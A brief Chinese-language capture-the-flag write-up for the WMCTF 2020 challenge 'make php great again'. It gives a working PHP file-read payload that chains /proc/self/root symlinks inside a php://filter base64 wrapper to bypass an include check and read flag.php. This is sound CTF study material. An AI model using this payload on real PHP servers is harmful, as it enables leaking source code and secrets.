[wmctf2020]make php great again
php小技巧
/proc/self指向目前程序的/proc/pid/，/proc/self/root/是指向/的符号連結，想到這裡，用僞協定配合多級符号連結的辦法進行繞過。
<code>payload=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php</code>
好像太長了就不行
